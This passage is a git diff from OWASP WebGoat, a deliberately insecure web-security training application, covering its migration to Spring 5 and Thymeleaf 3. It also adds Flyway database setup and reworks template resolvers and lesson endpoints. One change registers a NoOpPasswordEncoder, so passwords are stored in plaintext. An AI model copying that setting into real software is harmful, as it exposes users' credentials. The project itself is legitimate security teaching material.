<maxmem>256m</maxmem>
<!-- aggregated reports for multi-module projects -->
<aggregate>true</aggregate>
<encoding>UTF-8</encoding>
<consoleOutput>true</consoleOutput>
<failsOnError>true</failsOnError>
<configLocation>config/checkstyle/checkstyle.xml</configLocation>
<suppressionsLocation>config/checkstyle/suppressions.xml</suppressionsLocation>
<suppressionsFileExpression>checkstyle.suppressions.file</suppressionsFileExpression>
</configuration>
</plugin>
</plugins>
</build>
<repositories>
<repository>
<id>central</id>
<url>https://repo.maven.apache.org/maven2</url>
<snapshots>
<enabled>false</enabled>
</snapshots>
</repository>
</repositories>
<pluginRepositories>
<pluginRepository>
<id>central</id>
<url>https://repo.maven.apache.org/maven2</url>
<snapshots>
<enabled>false</enabled>
</snapshots>
</pluginRepository>
</pluginRepositories>
</project>

View File

@ -10,32 +10,9 @@
<parent>
<groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-parent</artifactId>
<version>v8.0.0.M25</version>
<version>v8.0.0.M26</version>
</parent>
<profiles>
<profile>
<id>performance</id>
<build>
<plugins>
<plugin>
<groupId>io.gatling</groupId>
<artifactId>gatling-maven-plugin</artifactId>
<version>${gatling-plugin.version}</version>
<executions>
<execution>
<goals>
<goal>execute</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
</profile>
</profiles>
<build>
<resources>
<resource>
@ -69,7 +46,11 @@
<artifactId>maven-surefire-plugin</artifactId>
<version>${maven-surefire-plugin.version}</version>
<configuration>
<forkMode>never</forkMode>
<forkCount>0</forkCount>
<reuseForks>true</reuseForks>
<argLine>
--illegal-access=permit
</argLine>
</configuration>
</plugin>
<plugin>
@ -89,44 +70,52 @@
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.datatype</groupId>
<artifactId>jackson-datatype-jsr310</artifactId>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-undertow</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-tomcat</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>${activation.version}</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
<dependency>
<groupId>org.flywaydb</groupId>
<artifactId>flyway-core</artifactId>
</dependency>
<dependency>
<groupId>org.asciidoctor</groupId>
<artifactId>asciidoctorj</artifactId>
<version>1.5.4</version>
<version>1.5.8.1</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-data-jpa</artifactId>
<exclusions>
<exclusion>
<artifactId>HikariCP</artifactId>
<groupId>com.zaxxer</groupId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-lang3</artifactId>
<version>${commons-lang3.version}</version>
</dependency>
<dependency>
<groupId>com.google.guava</groupId>
<artifactId>guava</artifactId>
<version>${guava.version}</version>
</dependency>
<dependency>
<groupId>io.gatling.highcharts</groupId>
<artifactId>gatling-charts-highcharts</artifactId>
<version>${gatling.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
@ -137,31 +126,13 @@
</dependency>
<dependency>
<groupId>org.thymeleaf.extras</groupId>
<artifactId>thymeleaf-extras-springsecurity4</artifactId>
<version>2.1.2.RELEASE</version>
</dependency>
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>${activation.version}</version>
<artifactId>thymeleaf-extras-springsecurity5</artifactId>
</dependency>
<dependency>
<groupId>org.hsqldb</groupId>
<artifactId>hsqldb</artifactId>
<version>${hsqldb.version}</version>
</dependency>
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>javax.transaction-api</artifactId>
<version>${javax.transaction-api.version}</version>
</dependency>
<dependency>
<groupId>org.scala-lang</groupId>
<artifactId>scala-compiler</artifactId>
<version>${scala.version}</version>
<scope>test</scope>
</dependency>
<!-- ************* END spring MVC and related dependencies ************** -->
<!-- ************* START: Dependencies for Unit and Integration Testing ************** -->

View File

@ -49,7 +49,7 @@ public class AjaxAuthenticationEntryPoint extends LoginUrlAuthenticationEntryPoi
}
public void commence(HttpServletRequest request, HttpServletResponse response, AuthenticationException authException) throws IOException, ServletException {
if(request.getHeader("x-requested-with") != null) {
if (request.getHeader("x-requested-with") != null) {
response.sendError(401, authException.getMessage());
} else {
super.commence(request, response, authException);

View File

@ -28,25 +28,27 @@
* @version $Id: $Id
* @since December 12, 2015
*/
package org.owasp.webgoat;
import com.google.common.collect.Maps;
import com.google.common.collect.Sets;
import lombok.extern.slf4j.Slf4j;
import org.asciidoctor.Asciidoctor;
import org.asciidoctor.extension.JavaExtensionRegistry;
import org.owasp.webgoat.asciidoc.WebGoatVersionMacro;
import org.owasp.webgoat.asciidoc.WebWolfMacro;
import org.owasp.webgoat.asciidoc.WebWolfRootMacro;
import org.owasp.webgoat.asciidoc.*;
import org.owasp.webgoat.i18n.Language;
import org.thymeleaf.TemplateProcessingParameters;
import org.thymeleaf.resourceresolver.IResourceResolver;
import org.thymeleaf.templateresolver.TemplateResolver;
import org.thymeleaf.IEngineConfiguration;
import org.thymeleaf.templateresolver.FileTemplateResolver;
import org.thymeleaf.templateresource.ITemplateResource;
import org.thymeleaf.templateresource.StringTemplateResource;
import java.io.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.StringWriter;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
import static org.apache.commons.lang3.CharEncoding.UTF_8;
import static org.asciidoctor.Asciidoctor.Factory.create;
/**
@ -57,7 +59,7 @@ import static org.asciidoctor.Asciidoctor.Factory.create;
* </code>
*/
@Slf4j
public class AsciiDoctorTemplateResolver extends TemplateResolver {
public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
private static final Asciidoctor asciidoctor = create();
private static final String PREFIX = "doc:";
@ -65,72 +67,58 @@ public class AsciiDoctorTemplateResolver extends TemplateResolver {
public AsciiDoctorTemplateResolver(Language language) {
this.language = language;
setResourceResolver(new AdocResourceResolver());
setResolvablePatterns(Sets.newHashSet(PREFIX + "*"));
setResolvablePatterns(Set.of(PREFIX + "*"));
}
@Override
protected String computeResourceName(TemplateProcessingParameters params) {
String templateName = params.getTemplateName();
return templateName.substring(PREFIX.length());
}
private class AdocResourceResolver implements IResourceResolver {
@Override
public InputStream getResourceAsStream(TemplateProcessingParameters params, String resourceName) {
try (InputStream is = readInputStreamOrFallbackToEnglish(resourceName, language)) {
if (is == null) {
log.warn("Resource name: {} not found, did you add the adoc file?", resourceName);
return new ByteArrayInputStream(new byte[0]);
} else {
StringWriter writer = new StringWriter();
JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry();
extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
extensionRegistry.inlineMacro("webWolfRootLink", WebWolfRootMacro.class);
extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class);
asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
return new ByteArrayInputStream(writer.getBuffer().toString().getBytes(UTF_8));
}
} catch (IOException e) {
//no html yet
return new ByteArrayInputStream(new byte[0]);
}
}
/**
* The resource name is for example HttpBasics_content1.adoc. This is always located in the following directory:
* <code>plugin/HttpBasics/lessonPlans/en/HttpBasics_content1.adoc</code>
*/
private String computeResourceName(String resourceName, String language) {
return String.format("lessonPlans/%s/%s", language, resourceName);
}
private InputStream readInputStreamOrFallbackToEnglish(String resourceName, Language language) {
InputStream is = Thread.currentThread().getContextClassLoader().getResourceAsStream(computeResourceName(resourceName, language.getLocale().getLanguage()));
protected ITemplateResource computeTemplateResource(IEngineConfiguration configuration, String ownerTemplate, String template, String resourceName, String characterEncoding, Map<String, Object> templateResolutionAttributes) {
var templateName = resourceName.substring(PREFIX.length());
try (InputStream is = readInputStreamOrFallbackToEnglish(templateName, language)) {
if (is == null) {
is = Thread.currentThread().getContextClassLoader().getResourceAsStream(computeResourceName(resourceName, "en"));
log.warn("Resource name: {} not found, did you add the adoc file?", templateName);
return new StringTemplateResource("");
} else {
JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry();
extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
extensionRegistry.inlineMacro("webWolfRootLink", WebWolfRootMacro.class);
extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class);
extensionRegistry.inlineMacro("webGoatTempDir", WebGoatTmpDirMacro.class);
extensionRegistry.inlineMacro("operatingSystem", OperatingSystemMacro.class);
StringWriter writer = new StringWriter();
asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
return new StringTemplateResource(writer.getBuffer().toString());
}
return is;
}
private Map<String, Object> createAttributes() {
Map<String, Object> attributes = Maps.newHashMap();
attributes.put("source-highlighter", "coderay");
attributes.put("backend", "xhtml");
Map<String, Object> options = Maps.newHashMap();
options.put("attributes", attributes);
return options;
}
@Override
public String getName() {
return "adocResourceResolver";
} catch (IOException e) {
//no html yet
return new StringTemplateResource("");
}
}
/**
* The resource name is for example HttpBasics_content1.adoc. This is always located in the following directory:
* <code>plugin/HttpBasics/lessonPlans/en/HttpBasics_content1.adoc</code>
*/
private String computeResourceName(String resourceName, String language) {
return String.format("lessonPlans/%s/%s", language, resourceName);
}
private InputStream readInputStreamOrFallbackToEnglish(String resourceName, Language language) {
InputStream is = Thread.currentThread().getContextClassLoader().getResourceAsStream(computeResourceName(resourceName, language.getLocale().getLanguage()));
if (is == null) {
is = Thread.currentThread().getContextClassLoader().getResourceAsStream(computeResourceName(resourceName, "en"));
}
return is;
}
private Map<String, Object> createAttributes() {
Map<String, Object> attributes = new HashMap<>();
attributes.put("source-highlighter", "coderay");
attributes.put("backend", "xhtml");
Map<String, Object> options = new HashMap<>();
options.put("attributes", attributes);
return options;
}
}

View File

@ -0,0 +1,50 @@
package org.owasp.webgoat;
import org.flywaydb.core.Flyway;
import org.owasp.webgoat.service.RestartLessonService;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.DependsOn;
import javax.sql.DataSource;
import java.util.Map;
/**
* Define 2 Flyway instances, 1 for WebGoat itself which it uses for internal storage like users and 1 for lesson
* specific tables we use. This way we clean the data in the lesson database quite easily see {@link RestartLessonService#restartLesson()}
* for how we clean the lesson related tables.
*/
@Configuration
public class DatabaseInitialization {
private final DataSource dataSource;
private String driverClassName;
public DatabaseInitialization(DataSource dataSource,
@Value("${spring.datasource.driver-class-name}") String driverClassName) {
this.dataSource = dataSource;
this.driverClassName = driverClassName;
}
@Bean(initMethod = "migrate")
public Flyway flyWayContainer() {
return Flyway
.configure()
.configuration(Map.of("driver", driverClassName))
.dataSource(dataSource)
.schemas("container")
.locations("db/container")
.load();
}
@Bean(initMethod = "migrate")
@DependsOn("flyWayContainer")
public Flyway flywayLessons() {
return Flyway
.configure()
.configuration(Map.of("driver", driverClassName))
.dataSource(dataSource)
.load();
}
}

View File

@ -1,48 +1,47 @@
/**
*************************************************************************************************
*
*
* ************************************************************************************************
* <p>
* <p>
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>
* Copyright (c) 2002 - 20014 Bruce Mayhew
*
* <p>
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* <p>
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>
* Getting Source ==============
*
* <p>
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
*
* @author WebGoat
* @since October 28, 2003
* @version $Id: $Id
* @since October 28, 2003
*/
package org.owasp.webgoat;
import com.google.common.collect.Maps;
import com.google.common.collect.Sets;
import com.google.common.io.ByteStreams;
import lombok.SneakyThrows;
import org.springframework.core.io.ResourceLoader;
import org.thymeleaf.TemplateProcessingParameters;
import org.thymeleaf.resourceresolver.IResourceResolver;
import org.thymeleaf.templateresolver.TemplateResolver;
import org.thymeleaf.IEngineConfiguration;
import org.thymeleaf.templateresolver.FileTemplateResolver;
import org.thymeleaf.templateresource.ITemplateResource;
import org.thymeleaf.templateresource.StringTemplateResource;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.InputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
/**
* Dynamically resolve a lesson. In the html file this can be invoked as:
@ -53,42 +52,29 @@ import java.util.Map;
*
* Thymeleaf will invoke this resolver based on the prefix and this implementation will resolve the html in the plugins directory
*/
public class LessonTemplateResolver extends TemplateResolver {
public class LessonTemplateResolver extends FileTemplateResolver {
private final static String PREFIX = "lesson:";
private final File pluginTargetDirectory;
private static final String PREFIX = "lesson:";
private ResourceLoader resourceLoader;
private Map<String, byte[]> resources = Maps.newHashMap();
private Map<String, byte[]> resources = new HashMap<>();
public LessonTemplateResolver(File pluginTargetDirectory, ResourceLoader resourceLoader) {
this.pluginTargetDirectory = pluginTargetDirectory;
public LessonTemplateResolver(ResourceLoader resourceLoader) {
this.resourceLoader = resourceLoader;
setResourceResolver(new LessonResourceResolver());
setResolvablePatterns(Sets.newHashSet(PREFIX + "*"));
setResolvablePatterns(Set.of(PREFIX + "*"));
}
@Override
protected String computeResourceName(TemplateProcessingParameters params) {
String templateName = params.getTemplateName();
return templateName.substring(PREFIX.length());
}
private class LessonResourceResolver implements IResourceResolver {
@Override
@SneakyThrows
public InputStream getResourceAsStream(TemplateProcessingParameters params, String resourceName) {
byte[] resource = resources.get(resourceName);
if (resource == null) {
resource = ByteStreams.toByteArray(resourceLoader.getResource("classpath:/html/" + resourceName + ".html").getInputStream());
resources.put(resourceName, resource);
protected ITemplateResource computeTemplateResource(IEngineConfiguration configuration, String ownerTemplate, String template, String resourceName, String characterEncoding, Map<String, Object> templateResolutionAttributes) {
var templateName = resourceName.substring(PREFIX.length());;
byte[] resource = resources.get(templateName);
if (resource == null) {
try {
resource = resourceLoader.getResource("classpath:/html/" + templateName + ".html").getInputStream().readAllBytes();
} catch (IOException e) {
e.printStackTrace();
}
return new ByteArrayInputStream(resource);
}
@Override
public String getName() {
return "lessonResourceResolver";
resources.put(resourceName, resource);
}
return new StringTemplateResource(new String(resource, StandardCharsets.UTF_8));
}
}
}

View File

@ -28,40 +28,40 @@
* @version $Id: $Id
* @since October 28, 2003
*/
package org.owasp.webgoat;
import com.google.common.collect.Sets;
import org.owasp.webgoat.i18n.Language;
import org.owasp.webgoat.i18n.Messages;
import org.owasp.webgoat.i18n.PluginMessages;
import org.owasp.webgoat.session.LabelDebugger;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.core.io.ResourceLoader;
import org.springframework.web.servlet.LocaleResolver;
import org.springframework.web.servlet.ViewResolver;
import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;
import org.springframework.web.servlet.config.annotation.ViewControllerRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
import org.springframework.web.servlet.i18n.SessionLocaleResolver;
import org.thymeleaf.extras.springsecurity4.dialect.SpringSecurityDialect;
import org.thymeleaf.spring4.SpringTemplateEngine;
import org.thymeleaf.spring4.templateresolver.SpringResourceTemplateResolver;
import org.thymeleaf.templateresolver.TemplateResolver;
import org.thymeleaf.TemplateEngine;
import org.thymeleaf.extras.springsecurity5.dialect.SpringSecurityDialect;
import org.thymeleaf.spring5.SpringTemplateEngine;
import org.thymeleaf.spring5.templateresolver.SpringResourceTemplateResolver;
import org.thymeleaf.spring5.view.ThymeleafViewResolver;
import org.thymeleaf.templatemode.TemplateMode;
import org.thymeleaf.templateresolver.ITemplateResolver;
import java.io.File;
import java.util.Set;
/**
* Configuration for Spring MVC
*/
@Configuration
public class MvcConfiguration extends WebMvcConfigurerAdapter {
@Autowired
@Qualifier("pluginTargetDirectory")
private File pluginTargetDirectory;
public class MvcConfiguration implements WebMvcConfigurer {
private static final String UTF8 = "UTF-8";
@Override
public void addViewControllers(ViewControllerRegistry registry) {
@ -72,23 +72,33 @@ public class MvcConfiguration extends WebMvcConfigurerAdapter {
//registry.addViewController("/list_users").setViewName("list_users");
}
@Bean
public ViewResolver viewResolver(SpringTemplateEngine thymeleafTemplateEngine) {
ThymeleafViewResolver resolver = new ThymeleafViewResolver();
resolver.setTemplateEngine(thymeleafTemplateEngine);
resolver.setCharacterEncoding("UTF-8");
return resolver;
}
@Bean
public TemplateResolver springThymeleafTemplateResolver(ApplicationContext applicationContext) {
public ITemplateResolver springThymeleafTemplateResolver(ApplicationContext applicationContext) {
SpringResourceTemplateResolver resolver = new SpringResourceTemplateResolver();
resolver.setPrefix("classpath:/templates/");
resolver.setSuffix(".html");
resolver.setOrder(1);
resolver.setTemplateMode(TemplateMode.HTML);
resolver.setOrder(2);
resolver.setCacheable(false);
resolver.setCharacterEncoding(UTF8);
resolver.setApplicationContext(applicationContext);
return resolver;
}
@Bean
public LessonTemplateResolver lessonTemplateResolver(ResourceLoader resourceLoader) {
LessonTemplateResolver resolver = new LessonTemplateResolver(pluginTargetDirectory, resourceLoader);
resolver.setOrder(2);
LessonTemplateResolver resolver = new LessonTemplateResolver(resourceLoader);
resolver.setOrder(0);
resolver.setCacheable(false);
resolver.setCharacterEncoding(UTF8);
return resolver;
}
@ -96,34 +106,29 @@ public class MvcConfiguration extends WebMvcConfigurerAdapter {
public AsciiDoctorTemplateResolver asciiDoctorTemplateResolver(Language language) {
AsciiDoctorTemplateResolver resolver = new AsciiDoctorTemplateResolver(language);
resolver.setCacheable(false);
resolver.setOrder(3);
resolver.setOrder(1);
resolver.setCharacterEncoding(UTF8);
return resolver;
}
@Bean
public SpringTemplateEngine thymeleafTemplateEngine(TemplateResolver springThymeleafTemplateResolver,
public SpringTemplateEngine thymeleafTemplateEngine(ITemplateResolver springThymeleafTemplateResolver,
LessonTemplateResolver lessonTemplateResolver,
AsciiDoctorTemplateResolver asciiDoctorTemplateResolver) {
SpringTemplateEngine engine = new SpringTemplateEngine();
engine.setEnableSpringELCompiler(true);
engine.addDialect(new SpringSecurityDialect());
engine.setTemplateResolvers(
Sets.newHashSet(springThymeleafTemplateResolver, lessonTemplateResolver, asciiDoctorTemplateResolver));
Set.of(lessonTemplateResolver, asciiDoctorTemplateResolver, springThymeleafTemplateResolver));
return engine;
}
/**
* This way we expose the plugins target directory as a resource within the web application.
*
* @param registry
*/
@Override
public void addResourceHandlers(ResourceHandlerRegistry registry) {
registry.addResourceHandler("/plugin_lessons/**").addResourceLocations("file:///" + pluginTargetDirectory.toString() + "/");
registry.addResourceHandler("/images/**").addResourceLocations("classpath:/images/");
registry.addResourceHandler("/lesson_js/**").addResourceLocations("classpath:/js/");
registry.addResourceHandler("/lesson_css/**").addResourceLocations("classpath:/css/");
registry.addResourceHandler("/video/**").addResourceLocations("classpath:/video/");
super.addResourceHandlers(registry);
}
@Bean

View File

@ -28,45 +28,22 @@
* @version $Id: $Id
* @since October 28, 2003
*/
package org.owasp.webgoat;
import lombok.extern.slf4j.Slf4j;
import org.apache.catalina.Context;
import org.owasp.webgoat.plugins.PluginEndpointPublisher;
import org.owasp.webgoat.plugins.PluginsLoader;
import org.owasp.webgoat.session.Course;
import org.owasp.webgoat.session.UserSessionData;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.session.WebgoatContext;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.builder.SpringApplicationBuilder;
import org.springframework.boot.context.embedded.EmbeddedServletContainerFactory;
import org.springframework.boot.context.embedded.tomcat.TomcatContextCustomizer;
import org.springframework.boot.context.embedded.tomcat.TomcatEmbeddedServletContainerFactory;
import org.springframework.boot.web.support.SpringBootServletInitializer;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.Scope;
import org.springframework.context.annotation.ScopedProxyMode;
import org.springframework.web.client.RestTemplate;
import java.io.File;
import java.util.Arrays;
@SpringBootApplication
@Slf4j
public class WebGoat extends SpringBootServletInitializer {
@Override
protected SpringApplicationBuilder configure(SpringApplicationBuilder application) {
return application.sources(WebGoat.class);
}
public static void main(String[] args) throws Exception {
SpringApplication.run(WebGoat.class, args);
}
@Configuration
public class WebGoat {
@Bean(name = "pluginTargetDirectory")
public File pluginTargetDirectory(@Value("${webgoat.user.directory}") final String webgoatHome) {
@ -75,8 +52,8 @@ public class WebGoat extends SpringBootServletInitializer {
@Bean
@Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
public WebSession webSession(WebgoatContext webgoatContext) {
return new WebSession(webgoatContext);
public WebSession webSession() {
return new WebSession();
}
@Bean
@ -85,34 +62,8 @@ public class WebGoat extends SpringBootServletInitializer {
return new UserSessionData("test", "data");
}
@Bean
public PluginEndpointPublisher pluginEndpointPublisher(ApplicationContext applicationContext) {
return new PluginEndpointPublisher(applicationContext);
}
@Bean
public Course course(PluginEndpointPublisher pluginEndpointPublisher) {
return new PluginsLoader(pluginEndpointPublisher).loadPlugins();
}
@Bean
public RestTemplate restTemplate() {
return new RestTemplate();
}
@Bean
public EmbeddedServletContainerFactory servletContainer() {
TomcatEmbeddedServletContainerFactory factory = new TomcatEmbeddedServletContainerFactory();
factory.setTomcatContextCustomizers(Arrays.asList(new CustomCustomizer()));
return factory;
}
static class CustomCustomizer implements TomcatContextCustomizer {
@Override
public void customize(Context context) {
context.setUseHttpOnly(false);
}
}
}

View File

@ -1,4 +1,3 @@
/**
* ************************************************************************************************
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
@ -28,6 +27,7 @@
* @version $Id: $Id
* @since December 12, 2015
*/
package org.owasp.webgoat;
import lombok.AllArgsConstructor;
@ -35,13 +35,14 @@ import org.owasp.webgoat.users.UserService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.authentication.AuthenticationManager;
import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.builders.WebSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer;
import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.security.crypto.password.NoOpPasswordEncoder;
/**
* Security configuration for WebGoat.
@ -58,8 +59,6 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry security = http
.authorizeRequests()
.antMatchers("/css/**", "/images/**", "/js/**", "fonts/**", "/plugins/**", "/registration", "/register.mvc").permitAll()
.antMatchers("/servlet/AdminServlet/**").hasAnyRole("WEBGOAT_ADMIN", "SERVER_ADMIN") //
.antMatchers("/JavaSource/**").hasRole("SERVER_ADMIN") //
.anyRequest().authenticated();
security.and()
.formLogin()
@ -76,12 +75,6 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
http.exceptionHandling().authenticationEntryPoint(new AjaxAuthenticationEntryPoint("/login"));
}
//// TODO: 11/18/2016 make this a little bit more configurabe last part at least
@Override
public void configure(WebSecurity web) throws Exception {
web.ignoring().antMatchers("/plugin_lessons/**", "/XXE/**");
}
@Autowired
public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {
auth.userDetailsService(userDetailsService); //.passwordEncoder(bCryptPasswordEncoder());
@ -92,4 +85,16 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
public UserDetailsService userDetailsServiceBean() throws Exception {
return userDetailsService;
}
@Override
@Bean
protected AuthenticationManager authenticationManager() throws Exception {
return super.authenticationManager();
}
@SuppressWarnings("deprecation")
@Bean
public NoOpPasswordEncoder passwordEncoder() {
return (NoOpPasswordEncoder) NoOpPasswordEncoder.getInstance();
}
}

View File

@ -0,0 +1,18 @@
package org.owasp.webgoat.asciidoc;
import java.util.Map;
import org.asciidoctor.ast.AbstractBlock;
import org.asciidoctor.extension.InlineMacroProcessor;
public class OperatingSystemMacro extends InlineMacroProcessor {
public OperatingSystemMacro(String macroName, Map<String, Object> config) {
super(macroName, config);
}
@Override
public String process(AbstractBlock parent, String target, Map<String, Object> attributes) {
return System.getProperty("os.name");
}
}

View File

@ -0,0 +1,17 @@
package org.owasp.webgoat.asciidoc;
import org.asciidoctor.ast.AbstractBlock;
import org.asciidoctor.extension.InlineMacroProcessor;
import java.util.Map;
public class WebGoatTmpDirMacro extends InlineMacroProcessor {
public WebGoatTmpDirMacro(String macroName, Map<String, Object> config) {
super(macroName, config);
}
@Override
public String process(AbstractBlock parent, String target, Map<String, Object> attributes) {
return EnvironmentExposure.getEnv().getProperty("webgoat.server.directory");
}
}

View File

@ -2,12 +2,6 @@ package org.owasp.webgoat.asciidoc;
import org.asciidoctor.ast.AbstractBlock;
import org.asciidoctor.extension.InlineMacroProcessor;
import org.springframework.core.env.Environment;
import org.springframework.util.StringUtils;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import javax.servlet.http.HttpServletRequest;
import java.util.Map;
public class WebGoatVersionMacro extends InlineMacroProcessor {
@ -17,7 +11,7 @@ public class WebGoatVersionMacro extends InlineMacroProcessor {
}
@Override
protected String process(AbstractBlock parent, String target, Map<String, Object> attributes) {
public String process(AbstractBlock parent, String target, Map<String, Object> attributes) {
return EnvironmentExposure.getEnv().getProperty("webgoat.build.version");
}
}

View File

@ -23,7 +23,7 @@ public class WebWolfMacro extends InlineMacroProcessor {
}
@Override
protected String process(AbstractBlock parent, String target, Map<String, Object> attributes) {
public String process(AbstractBlock parent, String target, Map<String, Object> attributes) {
Environment env = EnvironmentExposure.getEnv();
String hostname = determineHost(env.getProperty("webwolf.host"), env.getProperty("webwolf.port"));

View File

@ -22,38 +22,29 @@
* projects.
* <p>
*/
package org.owasp.webgoat.assignments;
import lombok.Getter;
import org.owasp.webgoat.i18n.PluginMessages;
import org.owasp.webgoat.session.UserSessionData;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.users.UserTracker;
import org.owasp.webgoat.users.UserTrackerRepository;
import org.owasp.webgoat.session.WebSession;
import org.springframework.beans.factory.annotation.Autowired;
/**
* Each lesson can define an endpoint which can support the lesson. So for example if you create a lesson which uses JavaScript and
* needs to call out to the server to fetch data you can define an endpoint in that lesson. WebGoat will pick up this endpoint and
* Spring will publish it.
* </p>
* Extend this class and implement the met
* </p>
* Note: each subclass should declare this annotation otherwise the WebGoat framework cannot find your endpoint.
*/
public abstract class AssignmentEndpoint extends Endpoint {
public abstract class AssignmentEndpoint {
@Autowired
private UserTrackerRepository userTrackerRepository;
@Autowired
private WebSession webSession;
private WebSession webSession;
@Autowired
private UserSessionData userSessionData;
@Getter
@Autowired
private PluginMessages messages;
//// TODO: 11/13/2016 events better fit?
protected AttackResult trackProgress(AttackResult attackResult) {
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
if (userTracker == null) {
@ -67,26 +58,21 @@ public abstract class AssignmentEndpoint extends Endpoint {
userTrackerRepository.save(userTracker);
return attackResult;
}
protected WebSession getWebSession() {
return webSession;
}
protected UserSessionData getUserSessionData() {
return userSessionData;
protected WebSession getWebSession() {
return webSession;
}
@Override
public final String getPath() {
return this.getClass().getAnnotationsByType(AssignmentPath.class)[0].value();
protected UserSessionData getUserSessionData() {
return userSessionData;
}
/**
* Convenience method for create a successful result:
*
* <p>
* - Assignment is set to solved
* - Feedback message is set to 'assignment.solved'
*
* <p>
* Of course you can overwrite these values in a specific lesson
*
* @return a builder for creating a result from a lesson
@ -97,10 +83,10 @@ public abstract class AssignmentEndpoint extends Endpoint {
/**
* Convenience method for create a failed result:
*
* <p>
* - Assignment is set to not solved
* - Feedback message is set to 'assignment.not.solved'
*
* <p>
* Of course you can overwrite these values in a specific lesson
*
* @return a builder for creating a result from a lesson

View File

@ -1,5 +1,7 @@
package org.owasp.webgoat.assignments;
import org.springframework.web.bind.annotation.RequestMethod;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
@ -12,5 +14,9 @@ import java.lang.annotation.Target;
@Retention(RetentionPolicy.RUNTIME)
public @interface AssignmentPath {
String value();
String[] path() default {};
RequestMethod[] method() default {};
String value() default "";
}

View File

@ -28,9 +28,10 @@
* @version $Id: $Id
* @since October 28, 2003
*/
package org.owasp.webgoat.controller;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.lessons.Lesson;
import org.owasp.webgoat.session.Course;
import org.owasp.webgoat.session.WebSession;
import org.springframework.security.core.context.SecurityContext;
@ -79,8 +80,8 @@ public class StartLesson {
//GrantedAuthority authority = context.getAuthentication().getAuthorities().iterator().next();
